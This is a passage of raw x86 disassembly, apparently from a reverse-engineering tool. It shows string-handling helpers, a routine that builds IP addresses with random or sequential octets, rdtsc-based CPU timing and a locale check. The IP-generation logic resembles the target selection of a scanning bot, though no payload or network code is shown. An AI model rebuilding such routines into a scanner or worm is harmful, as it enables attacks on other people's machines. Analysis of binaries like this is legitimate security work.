sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: cAddress:0040869Fp ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: cAddress:0041362Ep ; cAddress:00413876p var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF18 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: cAddress:004135C6p var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF18 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset aS_S_S_S ; "%s.%s.%s.%s" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: cAddress:00408751p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; 